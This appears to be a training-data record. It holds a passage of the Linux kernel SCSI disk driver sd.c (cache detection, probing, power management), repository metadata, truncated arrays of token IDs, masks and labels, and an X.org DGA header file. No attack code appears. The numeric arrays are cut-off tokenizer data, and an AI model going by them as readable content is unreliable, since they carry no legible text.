sd_printk(KERN_NOTICE, sdkp, "Write Protect is %s\n", sdkp->write_prot ? "on" : "off"); sd_printk(KERN_DEBUG, sdkp, "Mode Sense: %4ph\n", buffer); } } } /* * sd_read_cache_type - called only from sd_revalidate_disk() * called with buffer of length SD_BUF_SIZE */ static void sd_read_cache_type(struct scsi_disk *sdkp, unsigned char *buffer) { int len = 0, res; struct scsi_device *sdp = sdkp->device; int dbd; int modepage; int first_len; struct scsi_mode_data data; struct scsi_sense_hdr sshdr; int old_wce = sdkp->WCE; int old_rcd = sdkp->RCD; int old_dpofua = sdkp->DPOFUA; if (sdkp->cache_override) return; first_len = 4; if (sdp->skip_ms_page_8) { if (sdp->type == TYPE_RBC) goto defaults; else { if (sdp->skip_ms_page_3f) goto defaults; modepage = 0x3F; if (sdp->use_192_bytes_for_3f) first_len = 192; dbd = 0; } } else if (sdp->type == TYPE_RBC) { modepage = 6; dbd = 8; } else { modepage = 8; dbd = 0; } /* cautiously ask */ res = sd_do_mode_sense(sdp, dbd, modepage, buffer, first_len, &data, &sshdr); if (!scsi_status_is_good(res)) goto bad_sense; if (!data.header_length) { modepage = 6; first_len = 0; sd_first_printk(KERN_ERR, sdkp, "Missing header in MODE_SENSE response\n"); } /* that went OK, now ask for the proper length */ len = data.length; /* * We're only interested in the first three bytes, actually. * But the data cache page is defined for the first 20. */ if (len < 3) goto bad_sense; else if (len > SD_BUF_SIZE) { sd_first_printk(KERN_NOTICE, sdkp, "Truncating mode parameter " "data from %d to %d bytes\n", len, SD_BUF_SIZE); len = SD_BUF_SIZE; } if (modepage == 0x3F && sdp->use_192_bytes_for_3f) len = 192; /* Get the data */ if (len > first_len) res = sd_do_mode_sense(sdp, dbd, modepage, buffer, len, &data, &sshdr); if (scsi_status_is_good(res)) { int offset = data.header_length + data.block_descriptor_length; while (offset < len) { u8 page_code = buffer[offset] & 0x3F; u8 spf = buffer[offset] & 0x40; if (page_code == 8 || page_code == 6) { /* We're interested only in the first 3 bytes. */ if (len - offset <= 2) { sd_first_printk(KERN_ERR, sdkp, "Incomplete mode parameter " "data\n"); goto defaults; } else { modepage = page_code; goto Page_found; } } else { /* Go to the next page */ if (spf && len - offset > 3) offset += 4 + (buffer[offset+2] << 8) + buffer[offset+3]; else if (!spf && len - offset > 1) offset += 2 + buffer[offset+1]; else { sd_first_printk(KERN_ERR, sdkp, "Incomplete mode " "parameter data\n"); goto defaults; } } } sd_first_printk(KERN_ERR, sdkp, "No Caching mode page found\n"); goto defaults; Page_found: if (modepage == 8) { sdkp->WCE = ((buffer[offset + 2] & 0x04) != 0); sdkp->RCD = ((buffer[offset + 2] & 0x01) != 0); } else { sdkp->WCE = ((buffer[offset + 2] & 0x01) == 0); sdkp->RCD = 0; } sdkp->DPOFUA = (data.device_specific & 0x10) != 0; if (sdp->broken_fua) { sd_first_printk(KERN_NOTICE, sdkp, "Disabling FUA\n"); sdkp->DPOFUA = 0; } else if (sdkp->DPOFUA && !sdkp->device->use_10_for_rw && !sdkp->device->use_16_for_rw) { sd_first_printk(KERN_NOTICE, sdkp, "Uses READ/WRITE(6), disabling FUA\n"); sdkp->DPOFUA = 0; } /* No cache flush allowed for write protected devices */ if (sdkp->WCE && sdkp->write_prot) sdkp->WCE = 0; if (sdkp->first_scan || old_wce != sdkp->WCE || old_rcd != sdkp->RCD || old_dpofua != sdkp->DPOFUA) sd_printk(KERN_NOTICE, sdkp, "Write cache: %s, read cache: %s, %s\n", sdkp->WCE ? "enabled" : "disabled", sdkp->RCD ? "disabled" : "enabled", sdkp->DPOFUA ? "supports DPO and FUA" : "doesn't support DPO or FUA"); return; } bad_sense: if (scsi_sense_valid(&sshdr) && sshdr.sense_key == ILLEGAL_REQUEST && sshdr.asc == 0x24 && sshdr.ascq == 0x0) /* Invalid field in CDB */ sd_first_printk(KERN_NOTICE, sdkp, "Cache data unavailable\n"); else sd_first_printk(KERN_ERR, sdkp, "Asking for cache data failed\n"); defaults: if (sdp->wce_default_on) { sd_first_printk(KERN_NOTICE, sdkp, "Assuming drive cache: write back\n"); sdkp->WCE = 1; } else { sd_first_printk(KERN_ERR, sdkp, "Assuming drive cache: write through\n"); sdkp->WCE = 0; } sdkp->RCD = 0; sdkp->DPOFUA = 0; } /* * The ATO bit indicates whether the DIF application tag is available * for use by the operating system. */ static void sd_read_app_tag_own(struct scsi_disk *sdkp, unsigned char *buffer) { int res, offset; struct scsi_device *sdp = sdkp->device; struct scsi_mode_data data; struct scsi_sense_hdr sshdr; if (sdp->type != TYPE_DISK && sdp->type != TYPE_ZBC) return; if (sdkp->protection_type == 0) return; res = scsi_mode_sense(sdp, 1, 0x0a, buffer, 36, SD_TIMEOUT, SD_MAX_RETRIES, &data, &sshdr); if (!scsi_status_is_good(res) || !data.header_length || data.length < 6) { sd_first_printk(KERN_WARNING, sdkp, "getting Control mode page failed, assume no ATO\n"); if (scsi_sense_valid(&sshdr)) sd_print_sense_hdr(sdkp, &sshdr); return; } offset = data.header_length + data.block_descriptor_length; if ((buffer[offset] & 0x3f) != 0x0a) { sd_first_printk(KERN_ERR, sdkp, "ATO Got wrong page\n"); return; } if ((buffer[offset + 5] & 0x80) == 0) return; sdkp->ATO = 1; return; } /** * sd_read_block_limits - Query disk device for preferred I/O sizes. * @disk: disk to query */ static void sd_read_block_limits(struct scsi_disk *sdkp) { unsigned int sector_sz = sdkp->device->sector_size; const int vpd_len = 64; unsigned char *buffer = kmalloc(vpd_len, GFP_KERNEL); if (!buffer || /* Block Limits VPD */ scsi_get_vpd_page(sdkp->device, 0xb0, buffer, vpd_len)) goto out; blk_queue_io_min(sdkp->disk->queue, get_unaligned_be16(&buffer[6]) * sector_sz); sdkp->max_xfer_blocks = get_unaligned_be32(&buffer[8]); sdkp->opt_xfer_blocks = get_unaligned_be32(&buffer[12]); if (buffer[3] == 0x3c) { unsigned int lba_count, desc_count; sdkp->max_ws_blocks = (u32)get_unaligned_be64(&buffer[36]); if (!sdkp->lbpme) goto out; lba_count = get_unaligned_be32(&buffer[20]); desc_count = get_unaligned_be32(&buffer[24]); if (lba_count && desc_count) sdkp->max_unmap_blocks = lba_count; sdkp->unmap_granularity = get_unaligned_be32(&buffer[28]); if (buffer[32] & 0x80) sdkp->unmap_alignment = get_unaligned_be32(&buffer[32]) & ~(1 << 31); if (!sdkp->lbpvpd) { /* LBP VPD page not provided */ if (sdkp->max_unmap_blocks) sd_config_discard(sdkp, SD_LBP_UNMAP); else sd_config_discard(sdkp, SD_LBP_WS16); } else { /* LBP VPD page tells us what to use */ if (sdkp->lbpu && sdkp->max_unmap_blocks && !sdkp->lbprz) sd_config_discard(sdkp, SD_LBP_UNMAP); else if (sdkp->lbpws) sd_config_discard(sdkp, SD_LBP_WS16); else if (sdkp->lbpws10) sd_config_discard(sdkp, SD_LBP_WS10); else if (sdkp->lbpu && sdkp->max_unmap_blocks) sd_config_discard(sdkp, SD_LBP_UNMAP); else sd_config_discard(sdkp, SD_LBP_DISABLE); } } out: kfree(buffer); } /** * sd_read_block_characteristics - Query block dev. characteristics * @disk: disk to query */ static void sd_read_block_characteristics(struct scsi_disk *sdkp) { struct request_queue *q = sdkp->disk->queue; unsigned char *buffer; u16 rot; const int vpd_len = 64; buffer = kmalloc(vpd_len, GFP_KERNEL); if (!buffer || /* Block Device Characteristics VPD */ scsi_get_vpd_page(sdkp->device, 0xb1, buffer, vpd_len)) goto out; rot = get_unaligned_be16(&buffer[4]); if (rot == 1) { queue_flag_set_unlocked(QUEUE_FLAG_NONROT, q); queue_flag_clear_unlocked(QUEUE_FLAG_ADD_RANDOM, q); } if (sdkp->device->type == TYPE_ZBC) { /* Host-managed */ q->limits.zoned = BLK_ZONED_HM; } else { sdkp->zoned = (buffer[8] >> 4) & 3; if (sdkp->zoned == 1) /* Host-aware */ q->limits.zoned = BLK_ZONED_HA; else /* * Treat drive-managed devices as * regular block devices. */ q->limits.zoned = BLK_ZONED_NONE; } if (blk_queue_is_zoned(q) && sdkp->first_scan) sd_printk(KERN_NOTICE, sdkp, "Host-%s zoned block device\n", q->limits.zoned == BLK_ZONED_HM ? "managed" : "aware"); out: kfree(buffer); } /** * sd_read_block_provisioning - Query provisioning VPD page * @disk: disk to query */ static void sd_read_block_provisioning(struct scsi_disk *sdkp) { unsigned char *buffer; const int vpd_len = 8; if (sdkp->lbpme == 0) return; buffer = kmalloc(vpd_len, GFP_KERNEL); if (!buffer || scsi_get_vpd_page(sdkp->device, 0xb2, buffer, vpd_len)) goto out; sdkp->lbpvpd = 1; sdkp->lbpu = (buffer[5] >> 7) & 1; /* UNMAP */ sdkp->lbpws = (buffer[5] >> 6) & 1; /* WRITE SAME(16) with UNMAP */ sdkp->lbpws10 = (buffer[5] >> 5) & 1; /* WRITE SAME(10) with UNMAP */ out: kfree(buffer); } static void sd_read_write_same(struct scsi_disk *sdkp, unsigned char *buffer) { struct scsi_device *sdev = sdkp->device; if (sdev->host->no_write_same) { sdev->no_write_same = 1; return; } if (scsi_report_opcode(sdev, buffer, SD_BUF_SIZE, INQUIRY) < 0) { /* too large values might cause issues with arcmsr */ int vpd_buf_len = 64; sdev->no_report_opcodes = 1; /* Disable WRITE SAME if REPORT SUPPORTED OPERATION * CODES is unsupported and the device has an ATA * Information VPD page (SAT). */ if (!scsi_get_vpd_page(sdev, 0x89, buffer, vpd_buf_len)) sdev->no_write_same = 1; } if (scsi_report_opcode(sdev, buffer, SD_BUF_SIZE, WRITE_SAME_16) == 1) sdkp->ws16 = 1; if (scsi_report_opcode(sdev, buffer, SD_BUF_SIZE, WRITE_SAME) == 1) sdkp->ws10 = 1; } /** * sd_revalidate_disk - called the first time a new disk is seen, * performs disk spin up, read_capacity, etc. * @disk: struct gendisk we care about **/ static int sd_revalidate_disk(struct gendisk *disk) { struct scsi_disk *sdkp = scsi_disk(disk); struct scsi_device *sdp = sdkp->device; struct request_queue *q = sdkp->disk->queue; sector_t old_capacity = sdkp->capacity; unsigned char *buffer; unsigned int dev_max, rw_max; SCSI_LOG_HLQUEUE(3, sd_printk(KERN_INFO, sdkp, "sd_revalidate_disk\n")); /* * If the device is offline, don't try and read capacity or any * of the other niceties. */ if (!scsi_device_online(sdp)) goto out; buffer = kmalloc(SD_BUF_SIZE, GFP_KERNEL); if (!buffer) { sd_printk(KERN_WARNING, sdkp, "sd_revalidate_disk: Memory " "allocation failure.\n"); goto out; } sd_spinup_disk(sdkp); /* * Without media there is no reason to ask; moreover, some devices * react badly if we do. */ if (sdkp->media_present) { sd_read_capacity(sdkp, buffer); if (scsi_device_supports_vpd(sdp)) { sd_read_block_provisioning(sdkp); sd_read_block_limits(sdkp); sd_read_block_characteristics(sdkp); sd_zbc_read_zones(sdkp, buffer); } sd_print_capacity(sdkp, old_capacity); sd_read_write_protect_flag(sdkp, buffer); sd_read_cache_type(sdkp, buffer); sd_read_app_tag_own(sdkp, buffer); sd_read_write_same(sdkp, buffer); } sdkp->first_scan = 0; /* * We now have all cache related info, determine how we deal * with flush requests. */ sd_set_flush_flag(sdkp); /* Initial block count limit based on CDB TRANSFER LENGTH field size. */ dev_max = sdp->use_16_for_rw ? SD_MAX_XFER_BLOCKS : SD_DEF_XFER_BLOCKS; /* Some devices report a maximum block count for READ/WRITE requests. */ dev_max = min_not_zero(dev_max, sdkp->max_xfer_blocks); q->limits.max_dev_sectors = logical_to_sectors(sdp, dev_max); /* * Use the device's preferred I/O size for reads and writes * unless the reported value is unreasonably small, large, or * garbage. */ if (sdkp->opt_xfer_blocks && sdkp->opt_xfer_blocks <= dev_max && sdkp->opt_xfer_blocks <= SD_DEF_XFER_BLOCKS && logical_to_bytes(sdp, sdkp->opt_xfer_blocks) >= PAGE_SIZE) { q->limits.io_opt = logical_to_bytes(sdp, sdkp->opt_xfer_blocks); rw_max = logical_to_sectors(sdp, sdkp->opt_xfer_blocks); } else rw_max = BLK_DEF_MAX_SECTORS; /* Combine with controller limits */ q->limits.max_sectors = min(rw_max, queue_max_hw_sectors(q)); set_capacity(disk, logical_to_sectors(sdp, sdkp->capacity)); sd_config_write_same(sdkp); kfree(buffer); out: return 0; } /** * sd_unlock_native_capacity - unlock native capacity * @disk: struct gendisk to set capacity for * * Block layer calls this function if it detects that partitions * on @disk reach beyond the end of the device. If the SCSI host * implements ->unlock_native_capacity() method, it's invoked to * give it a chance to adjust the device capacity. * * CONTEXT: * Defined by block layer. Might sleep. */ static void sd_unlock_native_capacity(struct gendisk *disk) { struct scsi_device *sdev = scsi_disk(disk)->device; if (sdev->host->hostt->unlock_native_capacity) sdev->host->hostt->unlock_native_capacity(sdev); } /** * sd_format_disk_name - format disk name * @prefix: name prefix - ie. "sd" for SCSI disks * @index: index of the disk to format name for * @buf: output buffer * @buflen: length of the output buffer * * SCSI disk names starts at sda. The 26th device is sdz and the * 27th is sdaa. The last one for two lettered suffix is sdzz * which is followed by sdaaa. * * This is basically 26 base counting with one extra 'nil' entry * at the beginning from the second digit on and can be * determined using similar method as 26 base conversion with the * index shifted -1 after each digit is computed. * * CONTEXT: * Don't care. * * RETURNS: * 0 on success, -errno on failure. */ static int sd_format_disk_name(char *prefix, int index, char *buf, int buflen) { const int base = 'z' - 'a' + 1; char *begin = buf + strlen(prefix); char *end = buf + buflen; char *p; int unit; p = end - 1; *p = '\0'; unit = base; do { if (p == begin) return -EINVAL; *--p = 'a' + (index % unit); index = (index / unit) - 1; } while (index >= 0); memmove(begin, p, end - p); memcpy(buf, prefix, strlen(prefix)); return 0; } /* * The asynchronous part of sd_probe */ static void sd_probe_async(void *data, async_cookie_t cookie) { struct scsi_disk *sdkp = data; struct scsi_device *sdp; struct gendisk *gd; u32 index; struct device *dev; sdp = sdkp->device; gd = sdkp->disk; index = sdkp->index; dev = &sdp->sdev_gendev; gd->major = sd_major((index & 0xf0) >> 4); gd->first_minor = ((index & 0xf) << 4) | (index & 0xfff00); gd->minors = SD_MINORS; gd->fops = &sd_fops; gd->private_data = &sdkp->driver; gd->queue = sdkp->device->request_queue; /* defaults, until the device tells us otherwise */ sdp->sector_size = 512; sdkp->capacity = 0; sdkp->media_present = 1; sdkp->write_prot = 0; sdkp->cache_override = 0; sdkp->WCE = 0; sdkp->RCD = 0; sdkp->ATO = 0; sdkp->first_scan = 1; sdkp->max_medium_access_timeouts = SD_MAX_MEDIUM_TIMEOUTS; sd_revalidate_disk(gd); gd->flags = GENHD_FL_EXT_DEVT; if (sdp->removable) { gd->flags |= GENHD_FL_REMOVABLE; gd->events |= DISK_EVENT_MEDIA_CHANGE; } blk_pm_runtime_init(sdp->request_queue, dev); device_add_disk(dev, gd); if (sdkp->capacity) sd_dif_config_host(sdkp); sd_revalidate_disk(gd); sd_printk(KERN_NOTICE, sdkp, "Attached SCSI %sdisk\n", sdp->removable ? "removable " : ""); scsi_autopm_put_device(sdp); put_device(&sdkp->dev); } struct sd_devt { int idx; struct disk_devt disk_devt; }; static void sd_devt_release(struct disk_devt *disk_devt) { struct sd_devt *sd_devt = container_of(disk_devt, struct sd_devt, disk_devt); spin_lock(&sd_index_lock); ida_remove(&sd_index_ida, sd_devt->idx); spin_unlock(&sd_index_lock); kfree(sd_devt); } /** * sd_probe - called during driver initialization and whenever a * new scsi device is attached to the system. It is called once * for each scsi device (not just disks) present. * @dev: pointer to device object * * Returns 0 if successful (or not interested in this scsi device * (e.g. scanner)); 1 when there is an error. * * Note: this function is invoked from the scsi mid-level. * This function sets up the mapping between a given * <host,channel,id,lun> (found in sdp) and new device name * (e.g. /dev/sda). More precisely it is the block device major * and minor number that is chosen here. * * Assume sd_probe is not re-entrant (for time being) * Also think about sd_probe() and sd_remove() running coincidentally. **/ static int sd_probe(struct device *dev) { struct scsi_device *sdp = to_scsi_device(dev); struct sd_devt *sd_devt; struct scsi_disk *sdkp; struct gendisk *gd; int index; int error; scsi_autopm_get_device(sdp); error = -ENODEV; if (sdp->type != TYPE_DISK && sdp->type != TYPE_ZBC && sdp->type != TYPE_MOD && sdp->type != TYPE_RBC) goto out; #ifndef CONFIG_BLK_DEV_ZONED if (sdp->type == TYPE_ZBC) goto out; #endif SCSI_LOG_HLQUEUE(3, sdev_printk(KERN_INFO, sdp, "sd_probe\n")); error = -ENOMEM; sdkp = kzalloc(sizeof(*sdkp), GFP_KERNEL); if (!sdkp) goto out; sd_devt = kzalloc(sizeof(*sd_devt), GFP_KERNEL); if (!sd_devt) goto out_free; gd = alloc_disk(SD_MINORS); if (!gd) goto out_free_devt; do { if (!ida_pre_get(&sd_index_ida, GFP_KERNEL)) goto out_put; spin_lock(&sd_index_lock); error = ida_get_new(&sd_index_ida, &index); spin_unlock(&sd_index_lock); } while (error == -EAGAIN); if (error) { sdev_printk(KERN_WARNING, sdp, "sd_probe: memory exhausted.\n"); goto out_put; } atomic_set(&sd_devt->disk_devt.count, 1); sd_devt->disk_devt.release = sd_devt_release; sd_devt->idx = index; gd->disk_devt = &sd_devt->disk_devt; error = sd_format_disk_name("sd", index, gd->disk_name, DISK_NAME_LEN); if (error) { sdev_printk(KERN_WARNING, sdp, "SCSI disk (sd) name length exceeded.\n"); goto out_free_index; } sdkp->device = sdp; sdkp->driver = &sd_template; sdkp->disk = gd; sdkp->index = index; atomic_set(&sdkp->openers, 0); atomic_set(&sdkp->device->ioerr_cnt, 0); if (!sdp->request_queue->rq_timeout) { if (sdp->type != TYPE_MOD) blk_queue_rq_timeout(sdp->request_queue, SD_TIMEOUT); else blk_queue_rq_timeout(sdp->request_queue, SD_MOD_TIMEOUT); } device_initialize(&sdkp->dev); sdkp->dev.parent = dev; sdkp->dev.class = &sd_disk_class; dev_set_name(&sdkp->dev, "%s", dev_name(dev)); error = device_add(&sdkp->dev); if (error) goto out_free_index; get_device(dev); dev_set_drvdata(dev, sdkp); get_device(&sdkp->dev); /* prevent release before async_schedule */ async_schedule_domain(sd_probe_async, sdkp, &scsi_sd_probe_domain); return 0; out_free_index: put_disk_devt(&sd_devt->disk_devt); sd_devt = NULL; out_put: put_disk(gd); out_free_devt: kfree(sd_devt); out_free: kfree(sdkp); out: scsi_autopm_put_device(sdp); return error; } /** * sd_remove - called whenever a scsi disk (previously recognized by * sd_probe) is detached from the system. It is called (potentially * multiple times) during sd module unload. * @dev: pointer to device object * * Note: this function is invoked from the scsi mid-level. * This function potentially frees up a device name (e.g. /dev/sdc) * that could be re-used by a subsequent sd_probe(). * This function is not called when the built-in sd driver is "exit-ed". **/ static int sd_remove(struct device *dev) { struct scsi_disk *sdkp; dev_t devt; sdkp = dev_get_drvdata(dev); devt = disk_devt(sdkp->disk); scsi_autopm_get_device(sdkp->device); async_synchronize_full_domain(&scsi_sd_pm_domain); async_synchronize_full_domain(&scsi_sd_probe_domain); device_del(&sdkp->dev); del_gendisk(sdkp->disk); sd_shutdown(dev); sd_zbc_remove(sdkp); blk_register_region(devt, SD_MINORS, NULL, sd_default_probe, NULL, NULL); mutex_lock(&sd_ref_mutex); dev_set_drvdata(dev, NULL); put_device(&sdkp->dev); mutex_unlock(&sd_ref_mutex); return 0; } /** * scsi_disk_release - Called to free the scsi_disk structure * @dev: pointer to embedded class device * * sd_ref_mutex must be held entering this routine. Because it is * called on last put, you should always use the scsi_disk_get() * scsi_disk_put() helpers which manipulate the semaphore directly * and never do a direct put_device. **/ static void scsi_disk_release(struct device *dev) { struct scsi_disk *sdkp = to_scsi_disk(dev); struct gendisk *disk = sdkp->disk; put_disk_devt(disk->disk_devt); disk->private_data = NULL; put_disk(disk); put_device(&sdkp->device->sdev_gendev); kfree(sdkp); } static int sd_start_stop_device(struct scsi_disk *sdkp, int start) { unsigned char cmd[6] = { START_STOP }; /* START_VALID */ struct scsi_sense_hdr sshdr; struct scsi_device *sdp = sdkp->device; int res; if (start) cmd[4] |= 1; /* START */ if (sdp->start_stop_pwr_cond) cmd[4] |= start ? 1 << 4 : 3 << 4; /* Active or Standby */ if (!scsi_device_online(sdp)) return -ENODEV; res = scsi_execute(sdp, cmd, DMA_NONE, NULL, 0, NULL, &sshdr, SD_TIMEOUT, SD_MAX_RETRIES, 0, RQF_PM, NULL); if (res) { sd_print_result(sdkp, "Start/Stop Unit failed", res); if (driver_byte(res) & DRIVER_SENSE) sd_print_sense_hdr(sdkp, &sshdr); if (scsi_sense_valid(&sshdr) && /* 0x3a is medium not present */ sshdr.asc == 0x3a) res = 0; } /* SCSI error codes must not go to the generic layer */ if (res) return -EIO; return 0; } /* * Send a SYNCHRONIZE CACHE instruction down to the device through * the normal SCSI command structure. Wait for the command to * complete. */ static void sd_shutdown(struct device *dev) { struct scsi_disk *sdkp = dev_get_drvdata(dev); if (!sdkp) return; /* this can happen */ if (pm_runtime_suspended(dev)) return; if (sdkp->WCE && sdkp->media_present) { sd_printk(KERN_NOTICE, sdkp, "Synchronizing SCSI cache\n"); sd_sync_cache(sdkp); } if (system_state != SYSTEM_RESTART && sdkp->device->manage_start_stop) { sd_printk(KERN_NOTICE, sdkp, "Stopping disk\n"); sd_start_stop_device(sdkp, 0); } } static int sd_suspend_common(struct device *dev, bool ignore_stop_errors) { struct scsi_disk *sdkp = dev_get_drvdata(dev); int ret = 0; if (!sdkp) /* E.g.: runtime suspend following sd_remove() */ return 0; if (sdkp->WCE && sdkp->media_present) { sd_printk(KERN_NOTICE, sdkp, "Synchronizing SCSI cache\n"); ret = sd_sync_cache(sdkp); if (ret) { /* ignore OFFLINE device */ if (ret == -ENODEV) ret = 0; goto done; } } if (sdkp->device->manage_start_stop) { sd_printk(KERN_NOTICE, sdkp, "Stopping disk\n"); /* an error is not worth aborting a system sleep */ ret = sd_start_stop_device(sdkp, 0); if (ignore_stop_errors) ret = 0; } done: return ret; } static int sd_suspend_system(struct device *dev) { return sd_suspend_common(dev, true); } static int sd_suspend_runtime(struct device *dev) { return sd_suspend_common(dev, false); } static int sd_resume(struct device *dev) { struct scsi_disk *sdkp = dev_get_drvdata(dev); if (!sdkp) /* E.g.: runtime resume at the start of sd_probe() */ return 0; if (!sdkp->device->manage_start_stop) return 0; sd_printk(KERN_NOTICE, sdkp, "Starting disk\n"); return sd_start_stop_device(sdkp, 1); } /** * init_sd - entry point for this driver (both when built in or when * a module). * * Note: this function registers this driver with the scsi mid-level. **/ static int __init init_sd(void) { int majors = 0, i, err; SCSI_LOG_HLQUEUE(3, printk("init_sd: sd driver entry point\n")); for (i = 0; i < SD_MAJORS; i++) { if (register_blkdev(sd_major(i), "sd") != 0) continue; majors++; blk_register_region(sd_major(i), SD_MINORS, NULL, sd_default_probe, NULL, NULL); } if (!majors) return -ENODEV; err = class_register(&sd_disk_class); if (err) goto err_out; sd_cdb_cache = kmem_cache_create("sd_ext_cdb", SD_EXT_CDB_SIZE, 0, 0, NULL); if (!sd_cdb_cache) { printk(KERN_ERR "sd: can't init extended cdb cache\n"); err = -ENOMEM; goto err_out_class; } sd_cdb_pool = mempool_create_slab_pool(SD_MEMPOOL_SIZE, sd_cdb_cache); if (!sd_cdb_pool) { printk(KERN_ERR "sd: can't init extended cdb pool\n"); err = -ENOMEM; goto err_out_cache; } err = scsi_register_driver(&sd_template.gendrv); if (err) goto err_out_driver; return 0; err_out_driver: mempool_destroy(sd_cdb_pool); err_out_cache: kmem_cache_destroy(sd_cdb_cache); err_out_class: class_unregister(&sd_disk_class); err_out: for (i = 0; i < SD_MAJORS; i++) unregister_blkdev(sd_major(i), "sd"); return err; } /** * exit_sd - exit point for this driver (when it is a module). * * Note: this function unregisters this driver from the scsi mid-level. **/ static void __exit exit_sd(void) { int i; SCSI_LOG_HLQUEUE(3, printk("exit_sd: exiting sd driver\n")); scsi_unregister_driver(&sd_template.gendrv); mempool_destroy(sd_cdb_pool); kmem_cache_destroy(sd_cdb_cache); class_unregister(&sd_disk_class); for (i = 0; i < SD_MAJORS; i++) { blk_unregister_region(sd_major(i), SD_MINORS); unregister_blkdev(sd_major(i), "sd"); } } module_init(init_sd); module_exit(exit_sd); static void sd_print_sense_hdr(struct scsi_disk *sdkp, struct scsi_sense_hdr *sshdr) { scsi_print_sense_hdr(sdkp->device, sdkp->disk ? sdkp->disk->disk_name : NULL, sshdr); } static void sd_print_result(const struct scsi_disk *sdkp, const char *msg, int result) { const char *hb_string = scsi_hostbyte_string(result); const char *db_string = scsi_driverbyte_string(result); if (hb_string || db_string) sd_printk(KERN_INFO, sdkp, "%s: Result: hostbyte=%s driverbyte=%s\n", msg, hb_string ? hb_string : "invalid", db_string ? db_string : "invalid"); else sd_printk(KERN_INFO, sdkp, "%s: Result: hostbyte=0x%02x driverbyte=0x%02x\n", msg, host_byte(result), driver_byte(result)); }
RoadRunnr/net-next
drivers/scsi/sd.c
C
gpl-2.0
93,739
[ 30522, 1013, 1008, 1008, 17371, 1012, 1039, 9385, 1006, 1039, 1007, 2826, 3881, 14925, 22510, 11927, 1008, 9385, 1006, 1039, 1007, 2857, 1010, 2807, 1010, 2786, 1010, 2639, 4388, 2402, 5634, 1008, 1008, 11603, 8040, 5332, 9785, 4062, 1008, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
#ifndef __DGAPROC_H #define __DGAPROC_H #include <X11/Xproto.h> #include "pixmap.h" #define DGA_CONCURRENT_ACCESS 0x00000001 #define DGA_FILL_RECT 0x00000002 #define DGA_BLIT_RECT 0x00000004 #define DGA_BLIT_RECT_TRANS 0x00000008 #define DGA_PIXMAP_AVAILABLE 0x00000010 #define DGA_INTERLACED 0x00010000 #define DGA_DOUBLESCAN 0x00020000 #define DGA_FLIP_IMMEDIATE 0x00000001 #define DGA_FLIP_RETRACE 0x00000002 #define DGA_COMPLETED 0x00000000 #define DGA_PENDING 0x00000001 #define DGA_NEED_ROOT 0x00000001 typedef struct { int num; /* A unique identifier for the mode (num > 0) */ char *name; /* name of mode given in the XF86Config */ int VSync_num; int VSync_den; int flags; /* DGA_CONCURRENT_ACCESS, etc... */ int imageWidth; /* linear accessible portion (pixels) */ int imageHeight; int pixmapWidth; /* Xlib accessible portion (pixels) */ int pixmapHeight; /* both fields ignored if no concurrent access */ int bytesPerScanline; int byteOrder; /* MSBFirst, LSBFirst */ int depth; int bitsPerPixel; unsigned long red_mask; unsigned long green_mask; unsigned long blue_mask; short visualClass; int viewportWidth; int viewportHeight; int xViewportStep; /* viewport position granularity */ int yViewportStep; int maxViewportX; /* max viewport origin */ int maxViewportY; int viewportFlags; /* types of page flipping possible */ int offset; int reserved1; int reserved2; } XDGAModeRec, *XDGAModePtr; /* DDX interface */ extern _X_EXPORT int DGASetMode(int Index, int num, XDGAModePtr mode, PixmapPtr *pPix); extern _X_EXPORT void DGASetInputMode(int Index, Bool keyboard, Bool mouse); extern _X_EXPORT void DGASelectInput(int Index, ClientPtr client, long mask); extern _X_EXPORT Bool DGAAvailable(int Index); extern _X_EXPORT Bool DGAActive(int Index); extern _X_EXPORT void DGAShutdown(void); extern _X_EXPORT void DGAInstallCmap(ColormapPtr cmap); extern _X_EXPORT int DGAGetViewportStatus(int Index); extern _X_EXPORT int DGASync(int Index); extern _X_EXPORT int DGAFillRect(int Index, int x, int y, int w, int h, unsigned long color); extern _X_EXPORT int DGABlitRect(int Index, int srcx, int srcy, int w, int h, int dstx, int dsty); extern _X_EXPORT int DGABlitTransRect(int Index, int srcx, int srcy, int w, int h, int dstx, int dsty, unsigned long color); extern _X_EXPORT int DGASetViewport(int Index, int x, int y, int mode); extern _X_EXPORT int DGAGetModes(int Index); extern _X_EXPORT int DGAGetOldDGAMode(int Index); extern _X_EXPORT int DGAGetModeInfo(int Index, XDGAModePtr mode, int num); extern _X_EXPORT Bool DGAVTSwitch(void); extern _X_EXPORT Bool DGAStealButtonEvent(DeviceIntPtr dev, int Index, int button, int is_down); extern _X_EXPORT Bool DGAStealMotionEvent(DeviceIntPtr dev, int Index, int dx, int dy); extern _X_EXPORT Bool DGAStealKeyEvent(DeviceIntPtr dev, int Index, int key_code, int is_down); extern _X_EXPORT Bool DGAOpenFramebuffer(int Index, char **name, unsigned char **mem, int *size, int *offset, int *flags); extern _X_EXPORT void DGACloseFramebuffer(int Index); extern _X_EXPORT Bool DGAChangePixmapMode(int Index, int *x, int *y, int mode); extern _X_EXPORT int DGACreateColormap(int Index, ClientPtr client, int id, int mode, int alloc); extern _X_EXPORT unsigned char DGAReqCode; extern _X_EXPORT int DGAErrorBase; extern _X_EXPORT int DGAEventBase; extern _X_EXPORT int *XDGAEventBase; #endif /* __DGAPROC_H */
atmark-techno/atmark-dist
user/xorg-xserver/xorg-server-1.12.4/hw/xfree86/dixmods/extmod/dgaproc.h
C
gpl-2.0
3,934
